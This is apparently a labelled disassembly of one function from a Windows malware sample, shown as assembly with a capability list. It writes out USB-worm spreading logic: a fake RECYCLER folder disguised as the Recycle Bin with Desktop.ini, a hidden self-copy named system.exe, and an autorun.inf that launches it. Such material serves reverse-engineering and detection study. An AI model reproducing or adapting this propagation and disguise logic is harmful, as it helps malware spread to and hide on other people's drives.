Function at 0x402676
Capabilities:
Copy file
Create directory
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x510
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x50c], eax
mov edx, dword [esp + 0x514]
mov ecx, 0x200
push ebx
xor ebx, ebx
mov dword [esp + 4], edx
push ebp
mov eax, ebx
push esi
push edi
cmp eax, ecx
jae 0x402ab1
mov byte [esp + eax + 0x18], bl
inc eax
cmp eax, ecx
jb 0x4026aa
mov eax, ebx
cmp eax, ecx
jae 0x402ab1
mov byte [esp + eax + 0x218], bl
inc eax
cmp eax, ecx
jb 0x4026bd
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4026cb
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4026d9
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str.RECYCLER
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4026f6
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402704
mov ecx, edx
mov ebp, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
shr ecx, 2
lea eax, [esp + 0x18]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40273f
call ebx
cmp eax, 0xb7
jne 0x402844
push 7
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, str.S_1_6_21_2434476501_1644491937_600003330_1213
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402753
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402761
mov ecx, edx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
test eax, eax
jne 0x402791
call ebx
cmp eax, 0xb7
jne 0x402844
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x18]
push 7
push eax
call ebx
mov ebp, str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
mov edx, ebp
mov esi, ebp
mov al, byte [edx]
inc edx
test al, al
jne 0x4027a9
lea edi, [esp + 0x218]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4027ba
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str.Desktop.ini
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4027d7
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4027e5
mov ecx, edx
xor eax, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
push 6
push 2
push eax
push eax
mov ecx, edx
lea eax, [esp + 0x2c]
and ecx, 3
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 1
jb 0x402844
mov ecx, ebp
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402820
push 0
lea eax, [esp + 0x18]
sub ecx, edx
push eax
push ecx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x402860
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x51c]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
inc eax
call fcn.00402ef5
add esp, 0x510
ret
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebp
lea ecx, [esp + 0x18]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40286f
sub ecx, edx
lea eax, [esp + 0x18]
add eax, ecx
jmp 0x402881
dec eax
cmp byte [eax], 0x5c
jne 0x402880
mov edx, str.system.exe
mov byte [eax + 1], 0
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402891
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40289f
mov ecx, edx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 1
mov ecx, edx
push eax
and ecx, 3
lea eax, [esp + 0x420]
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 7
lea eax, [esp + 0x1c]
push eax
call ebx
xor eax, eax
mov ecx, 0x200
cmp eax, ecx
jae 0x402ab1
mov byte [esp + eax + 0x218], 0
inc eax
cmp eax, ecx
jb 0x4028e2
cmp byte [esp + 0x18], 0x5c
lea edx, [esp + 0x18]
je 0x402900
inc edx
cmp byte [edx], 0x5c
jne 0x4028fa
mov ebx, str._autorun__r_nopen
inc edx
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x402908
lea edi, [esp + 0x218]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402919
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x402933
lea edi, [esp + 0x218]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402944
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, str._r_nicon_SystemRoot__system32SHELL32.dll_4_r_nactionOpen_folder_to_view_files_r_nshellopenOpen_r_nshellopencommand
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x402961
lea edi, [esp + 0x218]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402972
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x40298a
lea edi, [esp + 0x218]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40299b
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str._r_nshellopendefault1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4029b8
lea edi, [esp + 0x218]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4029c9
mov ecx, edx
xor ebx, ebx
shr ecx, 2
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x200
cmp eax, ecx
jae 0x402ab1
mov byte [esp + eax + 0x18], bl
inc eax
cmp eax, ecx
jb 0x4029f0
mov edx, dword [esp + 0x10]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4029ff
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402a0d
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str._autorun.inf
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402a2a
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402a38
mov ecx, edx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 7
push 2
push ebx
push ebx
push 0x40000000
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 1
jb 0x402844
lea ecx, [esp + 0x218]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402a8a
push ebx
lea eax, [esp + 0x18]
sub ecx, edx
push eax
push ecx
lea eax, [esp + 0x224]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call ebp
jmp 0x402844
call fcn.00403025
int3